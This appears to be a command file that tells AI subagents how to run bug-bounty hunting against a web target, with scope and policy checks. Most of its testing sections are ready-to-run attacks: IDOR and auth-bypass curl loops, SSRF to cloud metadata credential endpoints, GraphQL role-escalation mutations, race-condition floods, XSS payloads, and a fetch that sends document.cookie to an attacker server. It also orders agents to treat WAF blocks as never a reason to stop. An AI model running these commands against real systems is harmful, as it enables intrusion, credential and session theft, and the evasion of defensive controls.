Hunt

Active hunting on: $ARGUMENTS

ALL agents dispatched by this command MUST use in the subagent dispatch tool call.

Read rules/hunting.md AND rules/mistakes.md FIRST. Both are always active.

• rules/hunting.md — 29 hunting rules (Rule 0 → Rule 28)
• rules/mistakes.md — "Top 10 Most Common Mistakes" + category rules from real engagements. Agents repeat these without the reminder (hallucinated file paths, curl vs browser, theoretical impact, CVSS mismatch, etc.).
• rules/waf-bypass-protocol.md — 7-level bypass ladder. If any probe returns a WAF block (403/429/challenge page), this file is mandatory reading before concluding dead end. "WAF blocks the payload" is NEVER a valid stop reason by itself — that's exactly the scenario this file exists for.
• rules/payloads.md — ready-to-use payloads organized by vuln class, with bypass variants for common WAFs (CF, Akamai, AWS WAF, F5, Imperva).

Phase 1: Read Before Touching (mandatory)

1. Read scope.yaml — confirm target is in scope
2. Read brain: uv run python3 ../../tools/brain.py brief <target> — what's tested, what's exhausted
3. Read hacktivity.md — what has been reported and paid for this program
4. uv run python3 ../../tools/scope_check.py <target> — hard validation

Phase 1.5: Policy Enforcement (MANDATORY)

Read policy.md and extract ALL actionable constraints into a policy preamble. This preamble MUST be included in every agent dispatch from this command.

POLICY CONSTRAINTS (VIOLATION = DISQUALIFICATION/BAN):
SCOPE AND POLICY MUST BE OBEYED AT ALL TIMES.
[constraints extracted from policy.md]

Failure to include policy constraints in agent dispatches may result in disqualification from the program or account ban.

Phase 2: Tech Stack Detection

TARGET="<parsed from arguments>"
curl -sI https://$TARGET | grep -iE "server|x-powered-by|x-aspnet|x-runtime|x-generator"

Map stack → primary bug class:

• Ruby on Rails → mass assignment, IDOR
• Django → IDOR (ModelViewSet), SSTI
• Flask → SSTI, SSRF
• Express/Node → prototype pollution, path traversal
• Spring Boot → Actuator endpoints, SSTI
• Next.js → SSRF via Server Actions, open redirect
• GraphQL → introspection, IDOR via node(), auth bypass on mutations

Phase 2.5: Auto-Select Vuln Class (autonomy-first)

If --vuln-class was NOT specified, generate ranked class hypotheses:

uv run python3 ../../tools/intel_engine.py classes \
  --tech-stack "<detected stack + recon hints>" \
  --target <target> \
  --limit 8 \
  --output CLASS_HYPOTHESES.md

Use the top-ranked class first, then continue in ranked order. This ranking combines stack signals + hacktivity ROI + brain exhaustion penalties.

Phase 2.9: Writeup Intelligence (MANDATORY — do this BEFORE Phase 3)

Before testing ANY vuln class, search for prior art using the writeup-search MCP:

search_techniques "<vuln class>" — get known bypass techniques
search_writeups "<target tech stack> <vuln class>" — get relevant writeups
search_payloads "<vuln class>" — get ready-to-use payloads

If the writeup-search MCP is not available, read rules/payloads.md as fallback.

This is NOT optional — prior art saves hours and reveals techniques you wouldn't think of. Skip this step = guaranteed duplicate or missed opportunity.

Include the writeup intelligence results in every hunter agent prompt you dispatch. If a hunter signals a different vuln class mid-hunt:

1. Call search_techniques + search_payloads for the new class
2. Dispatch the appropriate specialized hunter with the fresh intelligence

Phase 2.95: Autonomous Budget + Exhaustion Gates (MANDATORY)

Before dispatching classes, allocate budget:

uv run python3 ../../tools/intel_engine.py budget \
  --tech-stack "<detected stack + recon hints>" \
  --target <target> \
  --total-minutes 120 \
  --total-tokens 30000 \
  --output CLASS_BUDGET.md

After any class is "exhausted", enforce quality:

uv run python3 ../../tools/intel_engine.py exhaustion-gate \
  --attempts <N> \
  --combos-tested <N> \
  --combos-remaining <N> \
  --encoding-steps <N> \
  --differential-evidence

If gate fails, re-dispatch class with stricter matrix requirements.

After each class run, update telemetry:

uv run python3 ../../tools/intel_engine.py record-outcome \
  --vuln-class <class> \
  --result <confirmed|killed|downgraded|partial> \
  --attempts <N> \
  --elapsed-minutes <N>

Chain-anchor preamble (MANDATORY for feeder classes)

For these vuln classes — standalone is on the never-submit list or sells low — extract the per-class anchors from rules/chain-table.md "Per-Class Chain Anchors" and prepend them to the hunter dispatch prompt:

open-redirect, cors-hunter, info-disclosure, csrf-hunter, subdomain-takeover,
xxe-hunter, file-upload, race-condition, business-logic, privilege-escalation

Inject this preamble verbatim into the hunter's task:

CHAIN-ANCHOR DIRECTIVE — this finding class sells low/N-A standalone.

After confirming the bug, you MUST probe the following chain anchors before
declaring the finding complete (see rules/chain-table.md "Per-Class Chain
Anchors" section for full list):

[paste the 3-5 anchors for the specific class from chain-table.md]

For each anchor:
- If the anchor returns signal → label finding as CHAIN-CANDIDATE in brain
  with `--from-capability "<this finding's capability>"` and STOP. Do not
  write a single-bug report. The orchestrator will dispatch chain-builder.
- If all anchors fail → finding is informational. Apply rules/never-submit.md
  before any draft.

Single-bug reports on feeder classes burn validity ratio. The chain is the
report.

This forces every feeder hunter to think about chains before write-up. Hunters who skip this and file standalone feeder findings get bounced by validator.

WAF preamble (include when any probe in Phase 2 showed a WAF signal)

If curl -sI in Phase 2 returned cf-ray, server: cloudflare, x-sucuri, x-akamai, x-datadome, server: awselb, or any probe returned 403/429 with a WAF challenge page, every hunter dispatch MUST include this preamble verbatim:

A WAF was detected on this target. Before declaring any vuln class "blocked":
1. Read `rules/waf-bypass-protocol.md` and `rules/payloads.md` for the WAF-specific bypasses.
2. Work through Level 1 → Level 7 of the bypass ladder. Try ≥3 payloads per level.
3. Record what gets blocked vs. what gets through (informs next level).
4. Combine levels (L1 encoding + L2 tag + L4 JS obfuscation = compound bypass).
5. Only after the full ladder is attempted AND brain records the WAF profile
   may you report "bypass exhausted". Total time budget: 20 minutes.

"WAF blocks <payload>" is NOT a dead end — it is the starting condition for this file.
Give the orchestrator the specific level/payload that passed or the full exhaustion
record. Do NOT produce a verdict of "not vulnerable — WAF blocks attempts".

Phase 3: Active Testing

If --vuln-class specified, jump directly to that section. Otherwise, test in this order based on tech stack.

Phase 3.1: Exhaustive Depth Protocol (mandatory)

Before declaring any endpoint "exhausted" for a vuln class, enforce every item:

1. Build a test matrix: method × content-type × auth-state × encoding × parser-trick. Seed with uv run python3 ../../tools/intel_engine.py matrix <class>.
2. Run baseline controls (one known-benign + one known-malicious) to calibrate response deltas before bypass attempts.
3. Execute at least 25 attempts per endpoint / vuln-class unless blocked by scope / policy / WAF with level-by-level evidence.
4. Include at least 8 combination tests. Cross dimensions (encoding + method override, HPP + JSON↔form drift, parser-confusion + alt content-type) AND stack encodings within a single payload (html-entity+url → %26lt%3Bscript%26gt%3B, double-url → %253Cscript%253E, unicode-escape+url). WAFs typically decode once; targets decode twice.
5. Record structural response deltas: status, length, body marker, cache/header changes, timing. A 200 is not proof of success; a 403 is not proof of block.
6. Persist exhaustion to brain with what matrix cells were covered and what remains: uv run python3 ../../tools/brain.py record <target> recon "coverage-<class>" "<cells tested / skipped / remaining>".

This protocol is enforced by autopilot's Depth Engine and by Rule 24 in rules/hunting.md.

IDOR Testing (highest ROI)

# Setup: need two accounts (attacker + victim)
# Log in as attacker, perform actions, note all IDs in requests
# Replay with attacker's token but victim's IDs

# Test HTTP method variations:
curl -X GET https://$TARGET/api/user/123/orders -H "Authorization: Bearer ATTACKER_TOKEN"
curl -X PUT https://$TARGET/api/user/123/orders -H "Authorization: Bearer ATTACKER_TOKEN"
curl -X DELETE https://$TARGET/api/user/123/orders -H "Authorization: Bearer ATTACKER_TOKEN"

# Test API version differences (v2 protected? try v1):
curl https://$TARGET/api/v1/user/123/data -H "Authorization: Bearer ATTACKER_TOKEN"

# Test sibling endpoints (THE SIBLING RULE):
for endpoint in export delete share archive download restore transfer admin settings; do
  curl -s -o /dev/null -w "$endpoint: %{http_code}\n" \
    "https://$TARGET/api/users/123/$endpoint" -H "Authorization: Bearer ATTACKER_TOKEN"
done

# Remove auth entirely:
curl -s "https://$TARGET/api/users/123/profile"  # no auth header

Auth Bypass Testing

# Method override:
curl -X POST https://$TARGET/api/admin/users -H "X-HTTP-Method-Override: GET"
curl -X POST https://$TARGET/api/admin/users -H "X-Original-Method: GET"

# Path traversal in URL:
curl https://$TARGET/api/admin/./users
curl https://$TARGET/api/v2/../v1/admin/users

# Missing auth on siblings:
for ep in export delete share archive download; do
  curl -s -o /dev/null -w "$ep: %{http_code}" "https://$TARGET/api/users/123/$ep"
done

SSRF Testing

# Find URL parameters from recon
grep -rh "url=\|uri=\|path=\|redirect=\|next=\|dest=\|webhook" recon/ 2>/dev/null | head -20

# OOB confirmation first (use interactsh or webhook.site):
curl "https://$TARGET/api/image?url=https://YOUR_OOB_SERVER"
curl "https://$TARGET/api/webhook" -d '{"url": "https://YOUR_OOB_SERVER"}'

# If DNS callback confirmed → escalate:
curl "https://$TARGET/api/image?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

GraphQL Testing

# Introspection:
curl -s -X POST https://$TARGET/graphql -H "Content-Type: application/json" \
  -d '{"query": "{ __schema { types { name fields { name } } } }"}'

# If introspection on → find mutations:
# Look for: createUser, deletePost, updateRole, assignAdmin
# Test auth bypass on mutations (without auth header):
curl -s -X POST https://$TARGET/graphql -H "Content-Type: application/json" \
  -d '{"query": "mutation { updateUserRole(userId: 456, role: ADMIN) { success } }"}'

Race Condition Testing

# Parallel requests (using GNU parallel or curl):
# Test: coupon application, balance transfer, rate limits
seq 1 20 | xargs -P 20 -I {} curl -s "https://$TARGET/api/apply-coupon" \
  -H "Authorization: Bearer TOKEN" -d '{"code":"DISCOUNT50"}'

Brain Update After Each Hunter

After each hunter agent completes: uv run python3 ../../tools/brain.py record <target> <status> "<technique>" "<details>" uv run python3 ../../tools/intel_engine.py record-outcome --vuln-class "<class>" --result <confirmed|killed|downgraded|partial> --attempts <N> --elapsed-minutes <M>

Chain-Pressure Check (after every hunter)

The chain_pressure_hook.py SubagentStop hook scans findings.json after every agent run and writes .claude/agent-memory-local/chain-pending.md when feeder findings (open-redirect, CORS, info-disclosure, CSRF, subdomain-takeover, XXE, file-upload, race-condition, business-logic, privilege-escalation) are confirmed without a chain.

Read it after every hunter:

cat .claude/agent-memory-local/chain-pending.md 2>/dev/null

If non-empty, dispatch chain-builder agent for the top entry BEFORE continuing to the next vuln class. The chain anchors live in rules/chain-table.md "Per-Class Chain Anchors". A feeder without a chain is informational; the hook is the safety net catching what the hunter's chain-anchor preamble missed.

Phase 4: The A→B Signal Method

When you confirm bug A, immediately check the chain table. Run /chain to find B.

Phase 5: Document Every Lead

For each endpoint tested, record to brain:

• If finding: uv run python3 ../../tools/brain.py record <target> confirmed "<description>" "<details>"
• If dead end: uv run python3 ../../tools/brain.py record <target> exhausted "<what failed>" "<why>"

Stop Signals (move on immediately)

• WAF returns 403 AND you have already worked through all 7 levels of rules/waf-bypass-protocol.md (≥3 payloads per level, ≥20 minutes spent) → record WAF profile in brain and rotate. Three payloads and a shrug is NOT a stop signal — that's where the protocol starts.
• 20+ payload variations from across multiple bypass levels, identical response → move on
• Finding needs 5+ simultaneous preconditions → not exploitable
• 30+ min on same endpoint with no progress (after exhausting bypass ladder) → rotate
• 20 min total with no leads → /surface to reprioritize

Never-valid stop signals (do not accept these in any hunter verdict):

• "WAF blocks the payload" without level-by-level evidence
• "curl -sI returns 403" without confirming the app layer was actually reached
• "static marketing site" without checking JS bundles, forms, /api/*, /wp-json/*, embedded widgets

XSS Testing (use with --vuln-class xss)

Find Reflection Points

# Crawl for parameters
katana -u $TARGET -d 3 -jc | grep "?" | sort -u > /tmp/xss-params.txt

# Test each for reflection
while read url; do
  MARKER="xss$(date +%s)"
  resp=$(curl -s "${url}&testparam=$MARKER" 2>/dev/null)
  echo "$resp" | grep -q "$MARKER" && echo "REFLECTED: $url"
done < /tmp/xss-params.txt

Context Detection

• HTML body → <script>alert(1)</script>, <img src=x>
• HTML attribute → ">, ' autofocus='
• JavaScript string → ';alert(1)//, ';alert(1)//
• URL/href → javascript:alert(1)
• Template → {{constructor.constructor('alert(1)')()}}

# Level 2 tag alternatives:
<svg/onload=alert(1)>
<details open

# Level 4 JS without blocked keywords:
<img src=x

# Level 5 parser differentials (mutation XSS):
<iframe srcdoc="<script>alert(1)</script>">
<math><mtext><table><mglyph><style><!--</style><img src

// Cookie theft:
fetch('https://YOUR_SERVER/?c='+document.cookie)
// If HttpOnly, prove DOM access:
fetch('https://YOUR_SERVER/?url='+document.URL+'&html='+document.body.innerHTML.substr(0,500))

# Add admin/role fields to normal updates:
curl -X PUT "$TARGET/api/users/YOUR_ID" -H "Authorization: Bearer TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name":"test","role":"admin","is_admin":true,"verified":true}'

# Check if fields changed:
curl "$TARGET/api/users/YOUR_ID" -H "Authorization: Bearer TOKEN"

# Find OAuth endpoints
grep -rh "oauth\|authorize\|callback\|redirect_uri" recon/ js-analysis/ 2>/dev/null

# Test redirect_uri manipulation
# 1. Capture legitimate OAuth URL
# 2. Modify redirect_uri to your domain
# 3. Check if code is delivered to your domain
# 4. If yes → /chain for ATO

# Check PKCE enforcement:
# Send auth request WITHOUT code_challenge — if it works, PKCE bypass